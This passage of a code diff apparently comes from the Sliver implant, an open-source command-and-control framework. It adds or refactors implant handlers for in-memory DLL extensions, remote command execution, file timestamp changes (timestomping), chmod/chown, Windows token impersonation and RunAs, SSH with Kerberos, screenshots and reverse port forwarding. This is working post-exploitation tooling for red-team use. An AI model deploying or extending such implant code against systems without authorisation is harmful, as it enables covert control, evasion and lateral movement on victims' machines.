+	gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
+	gzipWriter.Reset(&buf)
 	gzipWriter.Write(data)
 	gzipWriter.Close()
+	gzipWriterPools.Put(gzipWriter)
 	return buf.Bytes()
 }
 

implant/sliver/extension/extension_windows.go

@@ -19,7 +19,6 @@ package extension
 */
 
 import (
-	"bytes"
 	"errors"
 	"sync"
 	"syscall"
@@ -38,12 +37,11 @@ const (
 )
 
 type WindowsExtension struct {
-	id       string
-	data     []byte
-	module   *memmod.Module
-	arch     string
-	init     string
-	onFinish func([]byte)
+	id     string
+	data   []byte
+	module *memmod.Module
+	arch   string
+	init   string
 	sync.Mutex
 }
 
@@ -102,8 +100,7 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
 	if w.module == nil {
 		return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
 	}
-	w.onFinish = onFinish
-	callback := syscall.NewCallback(w.extensionCallback)
+	callback := syscall.NewCallback(newWindowsExtensionCallback(onFinish))
 	exportPtr, err := w.module.ProcAddressByName(export)
 	if err != nil {
 		return err
@@ -128,18 +125,15 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
 	return nil
 }
 
-// extensionCallback takes a buffer (char *) and its size (int) as parameters
-// so we can pass data back to the Go process from the loaded DLL
-func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
-	outDataSize := int(dataLen)
-	outBuff := new(bytes.Buffer)
-	for i := 0; i < outDataSize; i++ {
-		b := (*byte)(unsafe.Pointer(uintptr(i) + data))
-		outBuff.WriteByte(*b)
+func newWindowsExtensionCallback(onFinish func([]byte)) func(data uintptr, dataLen uintptr) uintptr {
+	// extensionCallback takes a buffer (char *) and its size (int) as parameters
+	// so we can pass data back to the Go process from the loaded DLL
+	return func(data uintptr, dataLen uintptr) uintptr {
+		outDataSize := int(dataLen)
+		outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
+		if dataLen > 0 {
+			onFinish(outBytes)
+		}
+		return Success
 	}
-	//TODO: do something with outBuff
-	if outBuff.Len() > 0 {
-		w.onFinish(outBuff.Bytes())
-	}
-	return Success
 }

implant/sliver/handlers/handlers.go

@@ -26,7 +26,7 @@ import (
 	"errors"
 	"fmt"
 	"io"
-	"io/ioutil"
+	"io/fs"
 	"os"
 	"os/exec"
 	"path/filepath"
@@ -37,6 +37,7 @@ import (
 	"log"
 	// {{end}}
 
+	"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -58,6 +59,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
 // PivotHandler - Handler related to pivoting
 type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
 
+// RportFwdHandler - Handler related to reverse port forwarding
+type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
+
 // -----------------------------------------------------
 // -----------------------------------------------------
 // -----------------------------------------------------
@@ -170,11 +174,11 @@ func dirListHandler(data []byte, resp RPCResponse) {
 	var match bool = false
 	var linkPath string = ""
 
-	for _, fileInfo := range files {
+	for _, dirEntry := range files {
 		if filter == "" {
 			match = true
 		} else {
-			match, err = filepath.Match(filter, fileInfo.Name())
+			match, err = matcher.Match(filter, dirEntry.Name())
 			if err != nil {
 				// Then this is a bad filter, and it will be a bad filter
 				// on every iteration of the loop, so we might as well break now
@@ -183,29 +187,36 @@ func dirListHandler(data []byte, resp RPCResponse) {
 		}
 
 		if match {
-			// Check if this is a symlink, and if so, add the path the link points to
-			if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
-				linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
-				if err != nil {
-					linkPath = ""
-				}
-			} else {
-				linkPath = ""
-			}
-
-			dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
-				Name:  fileInfo.Name(),
-				IsDir: fileInfo.IsDir(),
-				Size:  fileInfo.Size(),
+			fileInfo, err := dirEntry.Info()
+			sliverFileInfo := &sliverpb.FileInfo{}
+			if err == nil {
+				sliverFileInfo.Size = fileInfo.Size()
+				sliverFileInfo.ModTime = fileInfo.ModTime().Unix()
 				/* Send the time back to the client / server as the number of seconds
 				since epoch.  This will decouple formatting the time to display from the
 				time itself.  We can change the format of the time displayed in the client
 				and not have to worry about having to update implants.
 				*/
-				ModTime: fileInfo.ModTime().Unix(),
-				Mode:    fileInfo.Mode().String(),
-				Link:    linkPath,
-			})
+				sliverFileInfo.Mode = fileInfo.Mode().String()
+				// Check if this is a symlink, and if so, add the path the link points to
+				if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
+					linkPath, err = filepath.EvalSymlinks(path + dirEntry.Name())
+					if err != nil {
+						linkPath = ""
+					}
+				} else {
+					linkPath = ""
+				}
+			}
+
+			sliverFileInfo.Uid = getUid(fileInfo)
+            sliverFileInfo.Gid = getGid(fileInfo)
+
+			sliverFileInfo.Name = dirEntry.Name()
+			sliverFileInfo.IsDir = dirEntry.IsDir()
+			sliverFileInfo.Link = linkPath
+
+			dirList.Files = append(dirList.Files, sliverFileInfo)
 		}
 	}
 
@@ -214,7 +225,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
-func getDirList(target string) (string, []os.FileInfo, error) {
+func getDirList(target string) (string, []fs.DirEntry, error) {
 	dir, err := filepath.Abs(target)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -223,10 +234,10 @@ func getDirList(target string) (string, []os.FileInfo, error) {
 		return "", nil, err
 	}
 	if _, err := os.Stat(dir); !os.IsNotExist(err) {
-		files, err := ioutil.ReadDir(dir)
+		files, err := os.ReadDir(dir)
 		return dir, files, err
 	}
-	return dir, []os.FileInfo{}, errors.New("directory does not exist")
+	return dir, []fs.DirEntry{}, errors.New("directory does not exist")
 }
 
 func rmHandler(data []byte, resp RPCResponse) {
@@ -372,6 +383,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
 		to download a single file
 	*/
 	fileInfo, err := os.Stat(path + filter)
+	if err != nil {
+		return nil, false, 0, 1, err
+	}
 	if err == nil && !fileInfo.IsDir() {
 		// Then this is a single file
 		rawData, err := os.ReadFile(path + filter)
@@ -524,7 +538,16 @@ func executeHandler(data []byte, resp RPCResponse) {
 	}
 
 	execResp := &sliverpb.Execute{}
-	cmd := exec.Command(execReq.Path, execReq.Args...)
+	exePath, err := expandPath(execReq.Path)
+	if err != nil {
+		execResp.Response = &commonpb.Response{
+			Err: fmt.Sprintf("%s", err),
+		}
+		proto.Marshal(execResp)
+		resp(data, err)
+		return
+	}
+	cmd := exec.Command(exePath, execReq.Args...)
 
 	if execReq.Output {
 		stdOutBuff := new(bytes.Buffer)
@@ -593,6 +616,11 @@ func executeHandler(data []byte, resp RPCResponse) {
 				Err: fmt.Sprintf("%s", err),
 			}
 		}
+
+		go func() {
+			cmd.Wait()
+		}()
+
 		if cmd.Process != nil {
 			execResp.Pid = uint32(cmd.Process.Pid)
 		}
@@ -828,7 +856,7 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
 		for _, fileName := range directoryFiles {
 			standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
 			if filter != "" {
-				match, err := filepath.Match(testPath+filter, standardFileName)
+				match, err := matcher.Match(testPath+filter, standardFileName)
 				if err == nil && match {
 					matchingFiles = append(matchingFiles, standardFileName)
 				}
@@ -842,7 +870,7 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
 			if filter != "" {
 				// Normalize paths
 				testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
-				match, matchErr := filepath.Match(testPath+filter, filePath)
+				match, matchErr := matcher.Match(testPath+filter, filePath)
 				if !match || matchErr != nil {
 					// If there is an error, it is because the filter is bad, so it is not a match
 					return nil
@@ -923,3 +951,51 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
 	}
 	return readFiles, unreadableFiles, nil
 }
+
+func expandPath(exePath string) (string, error) {
+	if !strings.ContainsRune(exePath, os.PathSeparator) {
+		_, err := exec.LookPath(exePath)
+		if err != nil {
+			return filepath.Abs(exePath)
+		}
+	}
+	return exePath, nil
+}
+
+func chtimesHandler(data []byte, resp RPCResponse) {
+	chtimesReq := &sliverpb.ChtimesReq{}
+	err := proto.Unmarshal(data, chtimesReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	chtimes := &sliverpb.Chtimes{}
+	target, _ := filepath.Abs(chtimesReq.Path)
+	chtimes.Path = target
+	// Make sure file exists
+	_, err = os.Stat(target)
+
+	chtimes.Response = &commonpb.Response{}
+	if err == nil {
+
+		unixAtime := int64(chtimesReq.ATime)
+		atime := time.Unix(unixAtime, 0)
+
+		unixMtime := int64(chtimesReq.MTime)
+		mtime := time.Unix(unixMtime, 0)
+
+		err = os.Chtimes(target, atime, mtime)
+		if err != nil {
+			chtimes.Response.Err = err.Error()
+		}
+
+	} else {
+		chtimes.Response.Err = err.Error()
+	}
+
+	data, err = proto.Marshal(chtimes)
+	resp(data, err)
+}

implant/sliver/handlers/handlers_darwin.go

@@ -19,6 +19,10 @@ package handlers
 */
 
 import (
+	"os"
+	"os/user"
+	"syscall"
+	"strconv"
 	"github.com/bishopfox/sliver/implant/sliver/extension"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -43,6 +47,7 @@ var (
 		pb.MsgEnvReq:       getEnvHandler,
 		pb.MsgSetEnvReq:    setEnvHandler,
 		pb.MsgUnsetEnvReq:  unsetEnvHandler,
+		pb.MsgChtimesReq:   chtimesHandler,
 
 		pb.MsgScreenshotReq: screenshotHandler,
 		pb.MsgNetstatReq:    netstatHandler,
@@ -140,3 +145,23 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
 	data, err = proto.Marshal(lstResp)
 	resp(data, err)
 }
+
+func getUid(fileInfo os.FileInfo) (string) {
+	uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
+	uid_str := strconv.FormatUint(uint64(uid), 10)
+	usr, err := user.LookupId(uid_str)
+	if err != nil {
+		return ""
+	}
+	return usr.Name
+}
+
+func getGid(fileInfo os.FileInfo) (string) {
+	gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
+	gid_str := strconv.FormatUint(uint64(gid), 10)
+	grp, err := user.LookupGroupId(gid_str)
+	if err != nil {
+		return ""
+	}
+	return grp.Name
+}

implant/sliver/handlers/handlers_generic.go

@@ -27,6 +27,7 @@ package handlers
 */
 
 import (
+	"os"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
@@ -46,6 +47,7 @@ var (
 		sliverpb.MsgEnvReq:         getEnvHandler,
 		sliverpb.MsgUnsetEnvReq:    unsetEnvHandler,
 		sliverpb.MsgReconfigureReq: reconfigureHandler,
+		sliverpb.MsgChtimesReq:     chtimesHandler,
 	}
 )
 
@@ -58,3 +60,13 @@ func GetSystemHandlers() map[uint32]RPCHandler {
 func GetSystemPivotHandlers() map[uint32]PivotHandler {
 	return map[uint32]PivotHandler{}
 }
+
+// Stub
+func getUid(fileInfo os.FileInfo) (string) {
+	return ""
+}
+
+// Stub
+func getGid(fileInfo os.FileInfo) (string) {
+	return ""
+}

implant/sliver/handlers/handlers_linux.go

@@ -19,7 +19,19 @@ package handlers
 */
 
 import (
+	"os"
+	"os/user"
+	"syscall"
+	"strconv"
+	"io/fs"
+	"path/filepath"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"google.golang.org/protobuf/proto"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
 )
 
 var (
@@ -60,6 +72,11 @@ var (
 		sliverpb.MsgWGStopSocksReq:      wgStopSocksHandler,
 		sliverpb.MsgWGListSocksReq:      wgListSocksServersHandler,
 		// {{end}}
+
+		// Linux Only
+		sliverpb.MsgChmodReq:         chmodHandler,
+		sliverpb.MsgChownReq:         chownHandler,
+		sliverpb.MsgChtimesReq:       chtimesHandler,
 	}
 )
 
@@ -67,3 +84,185 @@ var (
 func GetSystemHandlers() map[uint32]RPCHandler {
 	return linuxHandlers
 }
+
+func getUid(fileInfo os.FileInfo) (string) {
+	uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
+	uid_str := strconv.FormatUint(uint64(uid), 10)
+	usr, err := user.LookupId(uid_str)
+	if err != nil {
+		return ""
+	}
+	return usr.Name
+}
+
+func getGid(fileInfo os.FileInfo) (string) {
+    gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
+	gid_str := strconv.FormatUint(uint64(gid), 10)
+	grp, err := user.LookupGroupId(gid_str)
+	if err != nil {
+		return ""
+	}
+	return grp.Name
+}
+
+func chmodHandler(data []byte, resp RPCResponse) {
+	chmodReq := &sliverpb.ChmodReq{}
+	err := proto.Unmarshal(data, chmodReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	chmod := &sliverpb.Chmod{}
+	target, _ := filepath.Abs(chmodReq.Path)
+	chmod.Path = target
+	// Make sure file exists
+	_, err = os.Stat(target)
+
+	chmod.Response = &commonpb.Response{}
+	if err == nil {
+		// Convert string to octal number
+		octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
+		if err == nil {
+
+			setuid := octal & 04000
+			setgid := octal & 02000
+			setstcky := octal & 01000
+
+			// Cast the octal number to fs.FileMode
+			fileMode := os.FileMode(octal)
+
+			// Found this was necessary because the constructor above doesn't set special permissions
+			if setuid > 0 {
+				fileMode = fileMode | os.ModeSetuid
+			}
+			if setgid > 0 {
+				fileMode = fileMode | os.ModeSetgid
+			}
+			if setstcky > 0 {
+				fileMode = fileMode | os.ModeSticky
+			}
+
+			if chmodReq.Recursive {
+
+				err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
+					if err == nil {
+						err = os.Chmod(file, fileMode)
+						if err != nil {
+							return err
+						}
+					} else {
+						return err
+					}
+					return nil
+				})
+				if err != nil {
+					chmod.Response.Err = err.Error()
+				}
+
+			} else {
+				err = os.Chmod(target, fileMode)
+				if err != nil {
+					chmod.Response.Err = err.Error()
+				}
+			}
+		} else {
+			chmod.Response.Err = err.Error()
+		}
+	} else {
+		chmod.Response.Err = err.Error()
+	}
+
+	data, err = proto.Marshal(chmod)
+	resp(data, err)
+}
+
+func chownHandler(data []byte, resp RPCResponse) {
+
+	// variable definitions so goto won't break
+	var uid_str string
+	var gid_str string
+	var gid uint64
+	var uid uint64
+	var err error
+	var usr *user.User
+	var grp *user.Group
+
+	chownReq := &sliverpb.ChownReq{}
+	err = proto.Unmarshal(data, chownReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	chown := &sliverpb.Chown{}
+	target, _ := filepath.Abs(chownReq.Path)
+	chown.Path = target
+	_, err = os.Stat(target)
+
+	chown.Response = &commonpb.Response{}
+	if err != nil {
+		chown.Response.Err = err.Error()
+		goto finished
+	}
+
+	uid_str = chownReq.Uid
+	usr, err = user.Lookup(uid_str)
+	if err != nil {
+		chown.Response.Err = err.Error()
+		goto finished
+	}
+
+	uid, err = strconv.ParseUint(usr.Uid, 10, 32)
+	if err != nil {
+		chown.Response.Err = err.Error()
+		goto finished
+	}
+
+	gid_str = chownReq.Gid
+	grp, err = user.LookupGroup(gid_str)
+	if err != nil {
+		chown.Response.Err = err.Error()
+		goto finished
+	}
+
+	gid, err = strconv.ParseUint(grp.Gid, 10, 32)
+	if err != nil {
+		chown.Response.Err = err.Error()
+		goto finished
+	}
+
+	// Check if the recursive flag is set and the path is a directory
+	if chownReq.Recursive {
+
+		err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
+			if err == nil {
+				err = os.Chown(file, int(uid), int(gid))
+				if err != nil {
+					return err
+				}
+			} else {
+				return err
+			}
+			return nil
+		})
+		if err != nil {
+			chown.Response.Err = err.Error()
+		}
+
+	} else {
+
+		err = os.Chown(target, int(uid), int(gid))
+		if err != nil {
+			chown.Response.Err = err.Error()
+		}
+	}
+
+finished:
+	data, err = proto.Marshal(chown)
+	resp(data, err)
+}

implant/sliver/handlers/handlers_windows.go

@@ -24,6 +24,7 @@ import (
 	"fmt"
 	"io"
 	"os"
+	"runtime"
 
 	// {{if .Config.Debug}}
 	"log"
@@ -37,6 +38,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/registry"
 	"github.com/bishopfox/sliver/implant/sliver/service"
 	"github.com/bishopfox/sliver/implant/sliver/spoof"
+	"github.com/bishopfox/sliver/implant/sliver/syscalls"
 	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -97,6 +99,7 @@ var (
 		sliverpb.MsgExecuteReq:     executeHandler,
 		sliverpb.MsgReconfigureReq: reconfigureHandler,
 		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
+		sliverpb.MsgChtimesReq:     chtimesHandler,
 
 		// Extensions
 		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -120,6 +123,28 @@ func GetSystemHandlers() map[uint32]RPCHandler {
 	return windowsHandlers
 }
 
+func WrapperHandler(handler RPCHandler, data []byte, resp RPCResponse) {
+	if priv.CurrentToken != 0 {
+		err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Error: %v\n", err)
+			// {{end}}
+		}
+		runtime.LockOSThread()
+		defer runtime.UnlockOSThread()
+	}
+	handler(data, resp)
+	if priv.CurrentToken != 0 {
+		err := priv.TRevertToSelf()
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Error: %v\n", err)
+			// {{end}}
+		}
+	}
+}
+
 // ---------------- Windows Handlers ----------------
 
 func impersonateHandler(data []byte, resp RPCResponse) {
@@ -152,10 +177,12 @@ func runAsHandler(data []byte, resp RPCResponse) {
 		// {{end}}
 		return
 	}
-	out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
-	runAs := &sliverpb.RunAs{
-		Output: out,
+	show := 10
+	if runAsReq.HideWindow {
+		show = 0
 	}
+	err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
+	runAs := &sliverpb.RunAs{}
 	if err != nil {
 		runAs.Response = &commonpb.Response{Err: err.Error()}
 	}
@@ -277,7 +304,16 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
 	}
 
 	execResp := &sliverpb.Execute{}
-	cmd := exec.Command(execReq.Path, execReq.Args...)
+	exePath, err := expandPath(execReq.Path)
+	if err != nil {
+		execResp.Response = &commonpb.Response{
+			Err: fmt.Sprintf("%s", err),
+		}
+		proto.Marshal(execResp)
+		resp(data, err)
+		return
+	}
+	cmd := exec.Command(exePath, execReq.Args...)
 
 	// Execute with current token
 	cmd.SysProcAttr = &syscall.SysProcAttr{}
@@ -424,7 +460,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
 		return
 	}
 	makeTokenResp := &sliverpb.MakeToken{}
-	err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
+	err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
 	if err != nil {
 		makeTokenResp.Response = &commonpb.Response{
 			Err: err.Error(),
@@ -711,3 +747,13 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
 	data, err = proto.Marshal(lstResp)
 	resp(data, err)
 }
+
+// Stub since Windows doesn't support UID
+func getUid(fileInfo os.FileInfo) (string) {
+	return ""
+}
+
+// Stub since Windows doesn't support GID
+func getGid(fileInfo os.FileInfo) (string) {
+    return ""
+}

implant/sliver/handlers/matcher/matcher.go

@@ -0,0 +1,10 @@
+//go:build !windows
+
+package matcher
+
+import "path/filepath"
+
+// PathMatch - Match a path against a pattern, generic implementation
+func Match(pattern string, s string) (bool, error) {
+	return filepath.Match(pattern, s)
+}

implant/sliver/handlers/matcher/matcher_windows.go

@@ -0,0 +1,11 @@
+package matcher
+
+import (
+	"path/filepath"
+	"strings"
+)
+
+// Match - Windows specific implementation: disregard the case
+func Match(pattern string, s string) (bool, error) {
+	return filepath.Match(strings.ToLower(pattern), strings.ToLower(s))
+}

implant/sliver/handlers/rpc-handlers-cgo.go

@@ -0,0 +1,50 @@
+//go:build (linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64)
+
+package handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/screen"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func screenshotHandler(data []byte, resp RPCResponse) {
+	sc := &sliverpb.ScreenshotReq{}
+	err := proto.Unmarshal(data, sc)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+	// {{if .Config.Debug}}
+	log.Printf("Screenshot Request")
+	// {{end}}
+	scRes := &sliverpb.Screenshot{}
+	scRes.Data = screen.Screenshot()
+	data, err = proto.Marshal(scRes)
+
+	resp(data, err)
+}

implant/sliver/handlers/rpc-handlers-generic.go

@@ -0,0 +1,29 @@
+//go:build !((linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64))
+
+package handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+)
+
+func screenshotHandler(data []byte, resp RPCResponse) {
+	resp([]byte{}, errors.New("unsupported platform"))
+}

implant/sliver/handlers/rpc-handlers.go

@@ -31,7 +31,6 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/netstat"
 	"github.com/bishopfox/sliver/implant/sliver/procdump"
 	"github.com/bishopfox/sliver/implant/sliver/ps"
-	"github.com/bishopfox/sliver/implant/sliver/screen"
 	"github.com/bishopfox/sliver/implant/sliver/shell/ssh"
 	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -173,25 +172,6 @@ func ifconfig() *sliverpb.Ifconfig {
 	return interfaces
 }
 
-func screenshotHandler(data []byte, resp RPCResponse) {
-	sc := &sliverpb.ScreenshotReq{}
-	err := proto.Unmarshal(data, sc)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-	// {{if .Config.Debug}}
-	log.Printf("Screenshot Request")
-	// {{end}}
-	scRes := &sliverpb.Screenshot{}
-	scRes.Data = screen.Screenshot()
-	data, err = proto.Marshal(scRes)
-
-	resp(data, err)
-}
-
 func netstatHandler(data []byte, resp RPCResponse) {
 	netstatReq := &sliverpb.NetstatReq{}
 	err := proto.Unmarshal(data, netstatReq)
@@ -281,11 +261,11 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
 		}
 		entries = append(entries, &sliverpb.SockTabEntry{
 			LocalAddr: &sliverpb.SockTabEntry_SockAddr{
-				Ip:   e.LocalAddr.String(),
+				Ip:   e.LocalAddr.IP.String(),
 				Port: uint32(e.LocalAddr.Port),
 			},
 			RemoteAddr: &sliverpb.SockTabEntry_SockAddr{
-				Ip:   e.RemoteAddr.String(),
+				Ip:   e.RemoteAddr.IP.String(),
 				Port: uint32(e.RemoteAddr.Port),
 			},
 			SkState: e.State.String(),
@@ -315,7 +295,11 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
 		commandReq.Username,
 		commandReq.Password,
 		commandReq.PrivKey,
-		commandReq.Command)
+		commandReq.Krb5Conf,
+		commandReq.Keytab,
+		commandReq.Realm,
+		commandReq.Command,
+	)
 	commandResp := &sliverpb.SSHCommand{
 		Response: &commonpb.Response{},
 		StdOut:   stdout,

implant/sliver/handlers/rportfwd-handlers.go

@@ -0,0 +1,159 @@
+package handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+
+	"log"
+
+	// {{end}}
+	"time"
+
+	rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
+	"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+var (
+	genericRportFwdHandlers = map[uint32]RportFwdHandler{
+		pb.MsgRportFwdListenersReq:     rportFwdListenersHandler,
+		pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
+		pb.MsgRportFwdStopListenerReq:  rportFwdStopListenerHandler,
+	}
+)
+
+// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
+func GetRportFwdHandlers() map[uint32]RportFwdHandler {
+	return genericRportFwdHandlers
+}
+
+func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
+
+	forwards := rportfwd.Portfwds.List()
+	var portfwdListeners []*pb.RportFwdListener
+
+	for _, portfwd := range forwards {
+
+		portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
+			ID:             uint32(portfwd.ID),
+			BindAddress:    portfwd.BindAddr,
+			ForwardAddress: portfwd.RemoteAddr,
+		})
+	}
+	data, _ := proto.Marshal(&pb.RportFwdListeners{
+		Listeners: portfwdListeners,
+		Response:  &commonpb.Response{},
+	})
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+
+}
+func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
+	req := &pb.RportFwdStartListenerReq{}
+	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		resp.Response.Err = err.Error()
+		data, _ := proto.Marshal(resp)
+		connection.Send <- &pb.Envelope{
+			ID:   envelope.ID,
+			Data: data,
+		}
+		return
+	}
+	rportfwds := rportfwd.Portfwds.List()
+
+	for _, r := range rportfwds {
+		if r.BindAddr == req.BindAddress {
+			resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
+			data, _ := proto.Marshal(resp)
+			connection.Send <- &pb.Envelope{
+				ID:   envelope.ID,
+				Data: data,
+			}
+			return
+		}
+	}
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &rportfwd.ChannelProxy{
+		Conn:            connection,
+		RemoteAddr:      req.ForwardAddress,
+		BindAddr:        req.BindAddress,
+		KeepAlivePeriod: 1000 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(req.BindAddress, channelProxy)
+	rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
+
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Proxy error %s", err)
+			// {{end}}
+		}
+	}()
+	resp.BindAddress = req.BindAddress
+	resp.ForwardAddress = req.ForwardAddress
+	resp.BindPort = req.ForwardPort
+	resp.ForwardPort = req.ForwardPort
+	resp.ID = uint32(rportfwd.ID)
+
+	data, _ := proto.Marshal(resp)
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+}
+
+func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
+	req := &pb.RportFwdStopListenerReq{}
+	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		resp.Response.Err = err.Error()
+		data, _ := proto.Marshal(resp)
+		connection.Send <- &pb.Envelope{
+			ID:   envelope.ID,
+			Data: data,
+		}
+		return
+	}
+
+	rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
+	if rportfwd != nil {
+		resp.ID = uint32(rportfwd.ID)
